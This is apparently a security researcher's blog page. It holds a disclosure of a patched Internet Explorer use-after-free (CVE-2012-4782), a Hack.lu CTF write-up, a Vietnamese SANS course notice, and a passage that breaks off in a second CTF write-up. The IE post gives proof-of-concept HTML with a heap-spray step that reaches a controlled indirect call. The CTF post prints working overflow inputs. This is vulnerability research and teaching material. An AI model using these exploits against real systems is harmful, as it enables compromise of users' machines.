CMarkup Use After Free Vulnerability – CVE-2012-4782

January 10, 2013 by suto · 14 Comments 

Latest M$ tuesday patch kill one of my 0day in Microsoft Internet Explorer 9/10. So I decided release Proof Of Concept code and writeup some analyze about this bug. Hope it helpful.

Here is the PoC:

<!doctype html>
<html>
        <head>
                <meta http-equiv="X-UA-Compatible" content="IE=EmulateIE8" />
               <script>
                       function testcase(){
                                document.body.appendChild(document.createElement('progress'));
                                document.body.appendChild(document.createElement("<track style='float:right'></track>"));
                                document.body.appendChild(document.createElement('progress'));
                                document.body.appendChild(document.createElement('table'));
                                document.body.appendChild(document.createElement("<track style='float:right'></track>"));
                            document.getElementsByTagName('progress').item(0).appendChild(document.createElement('frameset'));
                                document.getElementsByTagName('track').item(0).offsetWidth;

                                document.getElementsByTagName('progress').item(1).appendChild(document.getElementsByTagName('track').item(0));
                                document.body.appendChild(document.createElement("<ins style='margin-left:2222222222px'></ins>"));

                </script>
        </head>
        <body onload='testcase();'>

        </body>
</html>

After running this html we’ve got a nice crash:
(fcc.354): Access violation - code c0000005 (!!! second chance !!!)
eax=0b7befc0 ebx=088cd6b8 ecx=0b6b2fa8 edx=00000006 esi=0b6b2fa8 edi=00000000
eip=639927e9 esp=088cd1c8 ebp=088cd1d0 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
MSHTML!CTreeNode::GetFancyFormat+0xc:
639927e9 0fb74640 movzx eax,word ptr [esi+40h] ds:0023:0b6b2fe8=0000
0:017> u
MSHTML!CTreeNode::GetFancyFormat+0xc:
639927e9 0fb74640 movzx eax,word ptr [esi+40h]
639927ed 6685c0 test ax,ax

Now using my binary instrumentation framework (a PIN based instrumentation which could do things like: crash analyze, taint tracing, code coverage..), I could get the following output


Exception Point: 639927e9 0fb74640 movzx eax,word ptr [esi+40h]
Current Register:
eax:0b7befc0
esi:0b6b2fa8
Backtrace analyze:
[+]639927e7 -> esi: 0b6b2fa8 | ecx: 0b6b2fa8
[+]639927e5 -> ecx: 0b6b2fa8
[+]636c1d2d -> ecx:0b6b2fa8
[+]639ae295 -> esi: 0b6b2fa8
===================
Detect Freed Address: 0b6b2fa8 at EIP 639AE299
With param: HeapFree(150000,23,0b6b2fa8)

So it is a pretty nice Used After Free vulnerability. But what is freed?

Run the tool again, this time to collect information about Heap Allocate, I can see:

.....
Detect Heap Allocate : 638f13dc
With Param: HeapAlloc(150000, 8u, 0x54)
Return value: 0b6b2fa8

And it occur in function:
CMarkup::InsertElementInternal
So now we can use a little trick to manipulate freed address:

<!doctype html>
<html>
	<head>
		<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE8" />

		<script>

                function testcase(){

				var img = new Array();
				  for(var i = 0;i < 100;i++){
				  	img[i] = document.createElement('img');
				  	img[i]["src"] = "a";
				  }
				document.body.appendChild(document.createElement('progress'));
				document.body.appendChild(document.createElement("<track style='float:right'></track>"));
				document.body.appendChild(document.createElement('progress'));
				document.body.appendChild(document.createElement('table'));
				document.body.appendChild(document.createElement("<track style='float:right'></track>"));
			    document.getElementsByTagName('progress').item(0).appendChild(document.createElement('frameset'));
				document.getElementsByTagName('track').item(0).offsetWidth;

				document.getElementsByTagName('progress').item(1).appendChild(document.getElementsByTagName('track').item(0));
				document.body.appendChild(document.createElement("<ins style='margin-left:2222222222px'></ins>"));

				window.scroll(500);

				for(var j = 0;j < 99;j++){
				 	img[j]["src"] = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";}

				 }

		</script>
	</head>
	<body onload='testcase();'>

	</body>
</html>

And we’ve got:

(c10.d88): Access violation - code c0000005 (!!! second chance !!!)
eax=00000041 ebx=088cd6b8 ecx=00410041 edx=ff000000 esi=0c53efa8 edi=00000000
eip=639927ff esp=088cd1c8 ebp=088cd1d0 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
MSHTML!CTreeNode::GetFancyFormat+0x1e:
639927ff 8b4a2c mov ecx,dword ptr [edx+2Ch] ds:0023:ff00002c=????????
0:017> dd esi
0c53efa8 00410041 00410041 00410041 00410041
0c53efb8 00410041 00410041 00410041 00410041
0c53efc8 00410041 00410041 00410041 00410041
0c53efd8 00410041 00410041 00410041 00410041
0c53efe8 00410041 00410041 00410041 00410041
0c53eff8 00410041 d0d00000 ???????? ????????
0c53f008 ???????? ???????? ???????? ????????
0c53f018 ???????? ???????? ???????? ????????
0:017> dd 410041
00410041 b341be78 7274f8ac 18ea3e88 3c00005c
00410051 ff000000 4dffffff cbb7a93b b0487827
00410061 ebd03627 48a7a85f 3d00005c ff000000
00410071 98ffffff 9b1b1704 a14da1bb 315fec5b
00410081 74f7c784 3e00005c ff000000 f0ffffff
00410091 0d343fb3 ae43076f 1b2599a9 a86d9aad
004100a1 3f00005c ff000000 93ffffff ddca1f10
004100b1 844c01b0 ebee76ab dc391fca 4000005c
0:017> u

Why it crashing here:

.text:639927E9 movzx eax, word ptr [esi+40h]
.text:639927ED test ax, ax
.text:639927F0 js loc_63842DAE
.text:639927F6 mov ecx, [esi+50h]
.text:639927F9 mov edx, [ecx+80h]
.text:639927FF mov ecx, [edx+2Ch]

Since we can control esi, we can force program to jump 63842DAE by changing some bytes in img.src:

..
img[j]["src"] = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\u8141\u4141AAAAAAAA";}
....


(614.fd4): Access violation - code c0000005 (!!! second chance !!!)
eax=00000000 ebx=00000000 ecx=00410041 edx=b341be78 esi=088ccc00 edi=0c540fa8
eip=6383a61a esp=088ccbe0 ebp=088ccbf0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
MSHTML!CTreeNode::ComputeFormats+0xa1:
6383a61a 8b82c4000000 mov eax,dword ptr [edx+0C4h] ds:0023:b341bf3c=????????
0:017> dd edi
0c540fa8 00410041 00410041 00410041 00410041
0c540fb8 00410041 00410041 00410041 00410041
0c540fc8 00410041 00410041 00410041 00410041
0c540fd8 00410041 00410041 00410041 00410041
0c540fe8 41418141 00410041 00410041 00410041
0c540ff8 00410041 d0d00000 ???????? ????????
0c541008 ???????? ???????? ???????? ????????
0c541018 ???????? ???????? ???????? ????????
0:017> dd ecx
00410041 b341be78 7274f8ac 18ea3e88 3c00005c
00410051 ff000000 4dffffff cbb7a93b b0487827
00410061 ebd03627 48a7a85f 3d00005c ff000000
00410071 98ffffff 9b1b1704 a14da1bb 315fec5b
00410081 74f7c784 3e00005c ff000000 f0ffffff
00410091 0d343fb3 ae43076f 1b2599a9 a86d9aad
004100a1 3f00005c ff000000 93ffffff ddca1f10
004100b1 844c01b0 ebee76ab dc391fca 4000005c

And we change edi:

img[j]["src"] = "AAAAAAAAAAAAAAAAAAAAAAAA\u5555\u5555AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\u8141\u4141AAAAAAAA";}

And Boom:

eax=00000000 ebx=00000000 ecx=55555555 edx=640386e0 esi=088ccc00 edi=0c678fa8
eip=6383a618 esp=088ccbe0 ebp=088ccbf0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
MSHTML!CTreeNode::ComputeFormats+0x9f:
6383a618 8b11 mov edx,dword ptr [ecx] ds:0023:55555555=????????
0:017> u
MSHTML!CTreeNode::ComputeFormats+0x9f:
6383a618 8b11 mov edx,dword ptr [ecx]
6383a61a 8b82c4000000 mov eax,dword ptr [edx+0C4h]
6383a620 ffd0 call eax
6383a622 8b400c mov eax,dword ptr [eax+0Ch]
6383a625 57 push edi
6383a626 893e mov dword ptr [esi],edi
6383a628 894604 mov dword ptr [esi+4],eax
6383a62b 8b0f mov ecx,dword ptr [edi]

Good luck pwner :p

Share and Enjoy:
  • Digg
  • del.icio.us
  • Facebook
  • Google Bookmarks
  • Add to favorites
  • Reddit
  • Technorati
  • Tumblr
  • Twitter
  • Slashdot
  • Identi.ca

[writeup] Hacklu 2012 – Challenge #6 – BrainGathering – (500)

October 26, 2012 by suto · Leave a Comment 

I did not solve this during CTF and my mistake is not using IDA to decompile since it has some obfuscate.
After CTF end, i use gdb to dump running process to binary file and
analyze it again, try to finish it.

gdb –pid [PID]
gdb>info proc
process 4660

gdb>shell cat /proc/4660/maps
08048000-0804a000 rwxp 00000000 08:03 7213513

gdb>dump out.dmp 0×08048000 0×0804a000

Load it to IDA and decompile. Basically it will loop and get an OPCODE
from static array locate at address 0×804B060, and a action defined
by that OPCODE will be run.

Just thinking a bit, when we input 0×36 bytes it will end up with a message:

==[ZOMBIE BRAIN AQUIREMENT SYSTEM]==
Automated system for braingathering ready.

1) Need Brainz brainz brainz, Zombie huuuungry!
2) How much longer till braaaiiiiinz?
3) Nooo more brainz! STOP THE BRAINZ!

X) Nah, I’m going to get my brains somewhere else.

3
### Warning: Only for authorized zombies ###
Please enter teh z0mb13 k1llc0d3:
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
XPLOIT DETECTED, ALTERING KILLCODE

In normal case when our string < 0×36 bytes length:

==[ZOMBIE BRAIN AQUIREMENT SYSTEM]==
Automated system for braingathering ready.

1) Need Brainz brainz brainz, Zombie huuuungry!
2) How much longer till braaaiiiiinz?
3) Nooo more brainz! STOP THE BRAINZ!

X) Nah, I’m going to get my brains somewhere else.

3
### Warning: Only for authorized zombies ###
Please enter teh z0mb13 k1llc0d3:
hello
Comparing k1llc0d3
INVALID

==[ZOMBIE BRAIN AQUIREMENT SYSTEM]==
Automated system for braingathering ready

It continue. So i think it must be a different when this vm handle
our string. The execution flow will different in 2 cases. Let find out:

I set a breakpoint and print at 0×0804865B where it get OPCODE and put it
in to EAX register.

b *0×0804865B
commands 1
p/x $ebx
p/x $eax
continue
end

Compare 2 results I have found where the execution alter:

First one is “B”*0×36:

0×081ea147 71
0×081ea148 82
0×081ea149 14
0×081ea14a 53
0×081ea14d 81
0×081ea14e 40
0×081ea150 74
0×081ea151 41
0×081ea152 86
0×081ea153 68
0×081ea154 74
0×081ea155 58
0×081ea4f3 3d
0×081ea4f6 81
0×081ea4f7 3f
0×081ea4f9 53
0×081ea4fc 28

In normal case:

0×08515147 71
0×08515148 82
0×08515149 14
0×0851514a 53
0×0851514d 81
0×0851514e 40
0×08515150 74
0×08515151 41
0×08515152 86
0×08515153 68
0×08515154 74
0×08515155 58
0×0851531d 58
0×08519149 53
0×0851914c 53
0×0851914f 53
0×08519152 53

The address in 2 case will same at offset, so we can compare easy.
It start different when handle OPCODE 0×58.

case 0×58:
v22 = *heap1_end2;
++heap1_end2;
PC += v22;
continue;

So v22 will change flow of execution because. I want to know why this happen:

gdb>b *0×080487DE
gdb>commands 2
>p/x $ebx
>continue
>end

And i end up with


..
Breakpoint 2, 0×080487de in close@plt ()
$12 = 0×4242

Yeah, so we can control v22. Let look into hex-rays source to see why this happen:

In OPCODE 0×3F

case 0×3F:
v40 = *PC++;
v41 = v4;
READ(v40, &PC[v61], 0xFFFF – (unsigned __int16)((_WORD)heap1_end2 – (_WORD)PC));
v4 = v41;
continue;

It will read our string to PC[v61] with a size result from calculation: 0xFFFF – (unsigned __int16)((_WORD)heap1_end2 – (_WORD)PC)
Since result from v22 we can understand an overflow occur, last 2 bytes of our string overwrite value at heap1_end2.
When OPCODE 0×58 is processed, PC will increase base on that 2 bytes.

Now the time for exploitation, first we need to calculate offset beetween PC at that time and our string.

gdb>b *0×080487DE if $ebx=0×4242
gdb>c
…..
gdb>x/20wx $edi-0×40
0×8343fb5: 0×00000000 0×00000000 0×00000000 0×00000000
0×8343fc5: 0×700e4242 0×00007010 0×00000000 0×42424242
0×8343fd5: 0×42424242 0×42424242 0×42424242 0×42424242
0×8343fe5: 0×42424242 0×00104242 0×7000ffc9 0×01e38010
0×8343ff5: 0×42424242 0×42424242 0×42424242 0×42424242
gdb> x/x $esp+0×2c
0xffe8648c: 0×08334008
gdb> p/x 0×8343fd5-0×08334008
$5 = 0xffcd

So just to confirm i’ll return to 0×40 ( write OPCODE) :

python -c ‘print “3″*34+”\x40″*41+”\xff\xcd”*7′ > file

And:

./braingathering < file
==[ZOMBIE BRAIN AQUIREMENT SYSTEM]==
Automated system for braingathering ready.

1) Need Brainz brainz brainz, Zombie huuuungry!
2) How much longer till braaaiiiiinz?
3) Nooo more brainz! STOP THE BRAINZ!

X) Nah, I’m going to get my brains somewhere else.

### Warning: Only for authorized zombies ###
Please enter teh z0mb13 k1llc0d3:
Comparing k1llc0d3
INVALID

INVALID
INVALID
INVALID
INVALID
INVALID
INVALID
zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz

And make sure index of byte we can start our shellcode:

python -c ‘print “3″*34+”A”*6+”\x40″+”B”*34+”\xff\xcd”*7′ > file
./braingathering < file
Comparing k1llc0d3
INVALID

INVALID

In OPCODE 0×40:

case 0×40:
v36 = *PC++;
v37 = 2;
v63 = v4;
if ( v36 <= 1u )
v37 = v36;
v38 = v37;
len = STRLEN(&PC[v61]);
WRITE(v38, &PC[v61], len);
v4 = v63;
continue;

Finally. We findout where content of killcode existence in memory.
Let find where it is:

gdb-peda$ searchmem KILLCODE heap
Searching for ‘KILLCODE’ in: heap ranges
Found 1 results, display max 1 items:
[heap] : 0×838b008 (”KILLCODE\n## Warn”)
gdb-peda$ p/x 0×838b008-0×08383008
$1 = 0×8000

And we need to reset v61 to 0×8000 We use OPCODE 0×49

case 0×49:
v29 = PC[1];
v30 = *PC;
PC += 2;
v61 = (v29 << 8) | v30;
continue;

And final exploit ( so lucky since v61 has value 0 at that time)

$echo “FUKCING KILLCODE” > killcode

$python -c ‘print “3″*34+”A”*6+”\x49\x00\x80\x40″+”B”*31+”\xff\xcd”*7′ > file
./braingathering < file
==[ZOMBIE BRAIN AQUIREMENT SYSTEM]==
Automated system for braingathering ready.

1) Need Brainz brainz brainz, Zombie huuuungry!
2) How much longer till braaaiiiiinz?
3) Nooo more brainz! STOP THE BRAINZ!

X) Nah, I’m going to get my brains somewhere else.

### Warning: Only for authorized zombies ###
Please enter teh z0mb13 k1llc0d3:
Comparing k1llc0d3
INVALID

FUKCING KILLCODE

and hex-rays source:

int __cdecl sub_80485E0()
{
  BYTE *PC; // esi@1 MAPDST
  int index; // eax@1
  _WORD *heap1_end2; // edi@3
  int v4; // edx@3
  char opCode; // al@4
  int v6; // ST3C_4@5
  unsigned __int16 v7; // ax@6
  int v8; // eax@11
  int v9; // esi@12
  __int16 v10; // si@15
  __int16 v11; // ax@15
  char v12; // si@16
  int v13; // ecx@16
  unsigned __int16 v14; // cx@19
  char v15; // si@23
  int v16; // eax@23
  unsigned __int16 v17; // si@26
  __int16 v18; // si@27
  __int16 v19; // ax@27
  char v20; // si@30
  int v21; // eax@30
  int v22; // ebx@33
  __int16 v23; // si@36
  __int16 v24; // ax@36
  __int16 v25; // si@37
  __int16 v26; // ax@37
  __int16 v27; // si@38
  __int16 v28; // cx@38
  __int16 v29; // ax@39
  __int16 v30; // cx@39
  __int16 v31; // si@45
  __int16 v32; // ax@45
  int v33; // ST3C_4@47
  int v34; // ST3C_4@48
  unsigned __int16 v35; // ax@48
  unsigned __int16 v36; // si@50
  signed int v37; // eax@50
  signed int v38; // ST40_4@52
  int len; // eax@52
  unsigned __int16 v40; // si@53
  int v41; // ST3C_4@53
  __int16 v42; // si@54
  unsigned __int16 v43; // ax@54
  __int16 v44; // si@55
  __int16 v45; // ax@55
  __int16 v46; // si@57
  __int16 v47; // ax@57
  BYTE v48; // si@59
  int v49; // ecx@59
  int v50; // eax@63
  __int16 v51; // si@67
  unsigned __int16 v52; // ax@67
  BYTE v53; // si@77
  int v54; // ecx@77
  __int16 v55; // si@80
  __int16 v56; // ax@80
  char v57; // si@82
  int v58; // eax@82
  int v59; // eax@85
  unsigned __int16 v61; // [sp+1Eh] [bp-42h]@3
  int v63; // [sp+3Ch] [bp-24h]@50
  BYTE *heap1_end1; // [sp+44h] [bp-1Ch]@3
  unsigned __int16 v65; // [sp+48h] [bp-18h]@3
  unsigned __int16 v66; // [sp+4Ah] [bp-16h]@3

  PC = (BYTE *)malloc_(65535);
  memset_((int)PC, 0, 65535);
  index = 0;
  do
  {
    PC[index] = byte_804B060[index];
    ++index;
  }
  while ( index != 2068 );
  heap1_end1 = PC + 65535;
  heap1_end2 = PC + 65535;
  v4 = 0;
  v65 = 0;
  v66 = 0;
  v61 = 0;
  while ( 1 )
  {
    opCode = *PC++;
    switch ( opCode )
    {
      default:
        continue;
      case 0x90:
        v6 = v4;
        sleep_();
        v4 = v6;
        continue;
      case 0x86:
        v7 = *heap1_end2;
        ++heap1_end2;
        v65 = v7;
        continue;
      case 0x82:
        if ( (unsigned int)PC > (unsigned int)heap1_end2 || (unsigned int)heap1_end2 > (unsigned int)heap1_end1 )
          goto terminate_;
        --heap1_end2;
        *heap1_end2 = v65;
        continue;
      case 0x81:
        v61 = (_WORD)heap1_end2 - (_WORD)PC;
        continue;
      case 0x7B:
        v8 = v4 & 0x1FFF;
        if ( v66 == v65 )
        {
          v4 &= 0x1FFFu;
          BYTE1(v4) |= 0x20u;
          v65 = v66;
        }
        else
        {
          HIWORD(v9) = HIWORD(v4);
          LOWORD(v4) = v8 | 0x8000;
          if ( v66 >= v65 )
          {
            LOWORD(v9) = v8 | 0x4000;
            v4 = v9;
          }
        }
        continue;
      case 0x79:
        v10 = PC[1];
        v11 = *PC;
        PC += 2;
        v65 -= (v10 << 8) | v11;
        continue;
      case 0x75:
        v12 = *PC++;
        v13 = v4 | 0x8000;
        LOWORD(v4) = v4 & 0x7FFF;
        if ( v12 )
          v4 = v13;
        continue;
      case 0x74:
        v14 = *heap1_end2;
        ++heap1_end2;
        v61 = v14;
        continue;
      case 0x71:
        if ( (unsigned int)PC > (unsigned int)heap1_end2 || (unsigned int)heap1_end2 > (unsigned int)heap1_end1 )
          goto terminate_;
        --heap1_end2;
        *heap1_end2 = v66;
        continue;
      case 0x69:
        v15 = *PC++;
        v16 = v4 | 0x40;
        v4 &= 0xFFFFFFBFu;
        if ( v15 )
          v4 = v16;
        continue;
      case 0x68:
        v17 = *heap1_end2;
        ++heap1_end2;
        v66 = v17;
        continue;
      case 0x66:
        v18 = PC[1];
        v19 = *PC;
        PC += 2;
        v66 = (v18 << 8) | v19;
        continue;
      case 0x61:
        v61 ^= (unsigned __int16)(PC[1] << 8) | *PC;
        goto LABEL_29;
      case 0x5C:
        v20 = *PC++;
        v21 = v4 | 0x20;
        v4 &= 0xFFFFFFDFu;
        if ( v20 )
          v4 = v21;
        continue;
      case 0x58:
        v22 = *heap1_end2;
        ++heap1_end2;
        PC += v22;
        continue;
      case 0x53:
        if ( (unsigned int)PC > (unsigned int)heap1_end2 || (unsigned int)heap1_end2 > (unsigned int)heap1_end1 )
          goto terminate_;
        v23 = PC[1];
        --heap1_end2;
        v24 = *PC;
        PC += 2;
        *heap1_end2 = (v23 << 8) | v24;
        continue;
      case 0x4F:
        v25 = PC[1];
        v26 = *PC;
        PC += 2;
        v61 += (v25 << 8) | v26;
        continue;
      case 0x4B:
        v27 = PC[1];
        v28 = *PC;
        PC += 2;
        v65 = (v27 << 8) | v28;
        continue;
      case 0x49:
        v29 = PC[1];
        v30 = *PC;
        PC += 2;
        v61 = (v29 << 8) | v30;
        continue;
      case 0x47:
        if ( (v4 & 0x2010) == 8208 || v4 & 0x40 && (unsigned __int16)v4 >> 15 || (v4 & 0x4020) == 16416 )
          PC += *PC | (PC[1] << 8);
        else
LABEL_29:
          PC += 2;
        continue;
      case 0x45:
        v31 = PC[1];
        v32 = *PC;
        PC += 2;
        v65 += (v31 << 8) | v32;
        continue;
      case 0x43:
        if ( v61 > 2u )
        {
          v33 = v4;
          close_(v61);
          v4 = v33;
        }
        continue;
      case 0x42:
        v34 = v4;
        v35 = OPEN(&PC[v61], 0);
        v4 = v34;
        v61 = v35;
        continue;
      case 0x41:
        v4 = *heap1_end2;
        ++heap1_end2;
        continue;
      case 0x40:
        v36 = *PC++;
        v37 = 2;
        v63 = v4;
        if ( v36 <= 1u )
          v37 = v36;
        v38 = v37;
        len = STRLEN(&PC[v61]);
        WRITE(v38, &PC[v61], len);
        v4 = v63;
        continue;
      case 0x3F:
        v40 = *PC++;
        v41 = v4;
        READ(v40, &PC[v61], 0xFFFF - (unsigned __int16)((_WORD)heap1_end2 - (_WORD)PC));
        v4 = v41;
        continue;
      case 0x3D:
        v42 = PC[1];
        v43 = *PC;
        PC += 2;
        heap1_end2 = (char *)heap1_end2 - ((unsigned __int16)(v42 << 8) | v43);
        continue;
      case 0x3A:
        v44 = PC[1];
        v45 = *PC;
        PC += 2;
        v61 -= (v44 << 8) | v45;
        continue;
      case 0x39:
        v61 += v66;
        continue;
      case 0x36:
        v46 = PC[1];
        v47 = *PC;
        PC += 2;
        v66 += (v46 << 8) | v47;
        continue;
      case 0x33:
        v66 = (_WORD)heap1_end2 - (_WORD)PC;
        continue;
      case 0x31:
        v48 = *PC;
        v49 = v4;
        ++PC;
        BYTE1(v49) |= 0x20u;
        BYTE1(v4) &= 0xDFu;
        if ( v48 )
          v4 = v49;
        continue;
      case 0x30:
        *(_WORD *)&PC[v61] = v66;
        continue;
      case 0x2C:
        v50 = v4 & 0x1FFF;
        if ( v61 == v65 )
        {
          v4 &= 0x1FFFu;
          BYTE1(v4) |= 0x20u;
          v65 = v61;
        }
        else
        {
          LOWORD(v4) = v50 | 0x8000;
          BYTE1(v50) |= 0x40u;
          if ( v61 >= v65 )
            v4 = v50;
        }
        continue;
      case 0x28:
        v51 = PC[1];
        v52 = *PC;
        PC += 2;
        heap1_end2 = (char *)heap1_end2 + ((unsigned __int16)(v51 << 8) | v52);
        continue;
      case 0x27:
        if ( (unsigned int)PC > (unsigned int)heap1_end2 || (unsigned int)heap1_end2 > (unsigned int)heap1_end1 )
          goto terminate_;
        --heap1_end2;
        *heap1_end2 = (_WORD)PC + 2 - (_WORD)PC;
        PC += (unsigned __int16)(PC[1] << 8) | *PC;
        break;
      case 0x25:
        v61 -= v66;
        break;
      case 0x24:
        v65 = (_WORD)heap1_end2 - (_WORD)PC;
        break;
      case 0x21:
        v61 = *(_WORD *)&PC[v66];
        break;
      case 0x20:
        if ( (unsigned int)PC > (unsigned int)heap1_end2 || (unsigned int)heap1_end2 > (unsigned int)heap1_end1 )
        {
terminate_:
          put_("VM PROTECTION FAIL, TERMINATING");
          exit_(1);
        }
        --heap1_end2;
        *heap1_end2 = v61;
        break;
      case 0x17:
        v53 = *PC;
        v54 = v4;
        ++PC;
        BYTE1(v54) |= 0x40u;
        BYTE1(v4) &= 0xBFu;
        if ( v53 )
          v4 = v54;
        break;
      case 0x16:
        v55 = PC[1];
        v56 = *PC;
        PC += 2;
        v66 -= (v55 << 8) | v56;
        break;
      case 0x14:
        --heap1_end2;
        *heap1_end2 = v4;
        break;
      case 0xD:
        v57 = *PC++;
        v58 = v4 | 0x10;
        v4 &= 0xFFFFFFEFu;
        if ( v57 )
          v4 = v58;
        break;
      case 0xA:
        v59 = v4 & 0x1FFF;
        if ( v61 == v66 )
        {
          v4 &= 0x1FFFu;
          BYTE1(v4) |= 0x20u;
          v66 = v61;
        }
        else
        {
          v4 &= 0x1FFFu;
          BYTE1(v59) |= 0x40u;
          LOWORD(v4) = v4 | 0x8000;
          if ( v66 <= v61 )
            v4 = v59;
        }
        break;
      case 0xFF:
        return 0;
    }
  }
}
Share and Enjoy:
  • Digg
  • del.icio.us
  • Facebook
  • Google Bookmarks
  • Add to favorites
  • Reddit
  • Technorati
  • Tumblr
  • Twitter
  • Slashdot
  • Identi.ca

Học viện SANS đến Việt Nam 03/2012

December 20, 2011 by suto · 1 Comment 

Những ai làm về lĩnh vực an toàn thông tin chắc đều biết đến học viện SANS như là một học viện hàng đầu thế giới về đào tạo an toàn thông tin. Học viện SANS, được thành lập từ năm 1989, đã đào tạo hơn 165,000 chuyên gia an toàn thông tin khắp nơi trên thế giới trong đó có những nhà quản lý an toàn thông tin cao cấp, chuyên gia đánh giá an ninh hay các quản trị viên hệ thống cho các tập đoàn hàng đầu thế giới hay các cơ quan an ninh chính phủ. Học viện SANS còn có một hệ thống tài liệu nghiên cứu khổng lồ về an toàn thông tin và điều hành trung tâm cảnh báo an ninh Internet.

Các chứng chỉ an toàn thông tin của học viện SANS được công nhận trên toàn thế giới và luôn được đánh giá là chứng chỉ hàng đầu về an toàn thông tin. Thông thường các khóa học của học viện SANS hàng năm diễn ra ở Mỹ, Châu Âu và một vài nước Châu Á. Việc học và thi chứng chỉ của SANS nói riêng hay các chứng chỉ quốc tế khác thường mất khá nhiều thời gian và tốn kém tại Việt nam. Như một bước khởi đầu cho việc đào tạo an toàn thông tin ở Việt nam, học viện SANS lần đầu tiên mở một khóa học SANS 560 về Kiểm Định An Toàn Thông Tin Mạng (“Network Penetration Testing and Ethical Hacking”) vào đầu năm 2012 tại thành phố Hồ Chí Minh.

Học viên sẽ được tổ chức thi chứng chỉ GIAC Penetration Tester (GIAC GPEN) tại chỗ. Đây là chứng chỉ uy tín nhất hiện nay dành cho chuyên gia an toàn thông tin trong việc kiểm định an toàn thông tin mạng.

Thời gian: Tháng 03, 2012
Địa điểm: The Fleminton Tower
182 Lê Đại Hành, Quận 11
Thành phố Hồ Chí Minh, Việt nam

Để đăng kí khóa học, xin vui lòng truy cập vào http://www.sans.org/mentor/details.php?nid=27046. SANS hiện có chương trình giảm giá cho các công ty, tổ chức về an toàn thông tin tại Việt nam cũng như các công ty đăng ký từ 02 học viên trở lên. Để có được mã giảm giá, xin vui lòng email thanh _AT_ vnsecurity.net  trước khi đăng ký.

Thông tin chi tiết hơn về khóa học có thể xem ở đây.

Thông tin tham khảo:

  1. http://force.vnsecurity.net/download/SANS-560-VN.pdf
  2. https://www.sans.org/security-training/network-penetration-testing-ethical-hacking-937-mid
  3. http://www.giac.org/certification/penetration-tester-gpen
  4. http://www.sans.org/mentor/details.php?nid=27046
Share and Enjoy:
  • Digg
  • del.icio.us
  • Facebook
  • Google Bookmarks
  • Add to favorites
  • Reddit
  • Technorati
  • Tumblr
  • Twitter
  • Slashdot
  • Identi.ca

hack.lu CTF 2011 nebula DB systems

September 22, 2011 by suto · 2 Comments 

Challenge Summary:

While you were investigating the Webserver of Nebula Death Stick Services, we, the Galactic’s Secret Service, put our hands on a SSH account of one of the Nebula Death Stick Services founders. This account directly leads to one of their Death Stick storage clusters. Therefore we instruct you with another mission: this time you will have to break their database systems in order to get higher privileges and find further infos about Nebula Corp. And again, may the force be with you!
User: nebulauser

Pass: nebulauser

Host: ctf.hack.lu

Port: 2008

After login to ctf.hack.lu server we get 4 files:
-nebula_db
-nebula_db_nosuid
_nebula_db.c
_hint

nebula_db is a file with suid(s) bits, when you execute that you have required permission to read the flag, nebula_db_nosuid is the file for testing and debuging purpose, nebula_db.c is source code of challenge, hint is tell you where is the flag stored.
So basically you need to execute nebula_db and some how try to alter execution flow to do some more thing for you ( read the flag ).
First things is try to spot the vuln by reading source code they provided:

/* Nebula Death Stick Services Database Management System
 * This Software has been written to keep track of our customers and their orders.
 * It is still in developement, but I'm pretty sure it's already stable enough for a safe maintenance.
 */

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

#define DB_SIZE 256

char *db[DB_SIZE];

int edit_entry(char *choice, unsigned int entry)
{
        char edit[256], *ln;
        unsigned int len;

        if (atoi(choice) > entry - 1 || atoi(choice) < 0 || entry == 0)
                return -1;

        len = strlen(db[atoi(choice)]);

        printf("Enter your edit: ");
        fgets(edit, sizeof(edit) - 1, stdin);

        ln = strchr(edit, '\n');

        if (ln != NULL)
                *ln = '\0';

        strncpy(db[atoi(choice)], edit, len);

        return 0;
}

char *insert_new_order(unsigned int entry, char *name, char *amount)
{
        char sname[256], samount[256], *nl, *ptr;(3)
        int ret;

        nl = strchr(name, '\n');

        if (nl != NULL)
                *nl = '\0';

        nl = strchr(amount, '\n');

        if (nl != NULL)
                *nl = '\0';

        ret = asprintf(&ptr, "ID: %d: Name: %s Amount: %s", entry, name, amount);

        if (ret == 0)
                return NULL;

        return ptr;
}

char *enter_new_order(unsigned int entry)
{
        char name[256], amount[256];

        printf("Enter a Name: ");
        fgets(name, sizeof(name) - 1, stdin);

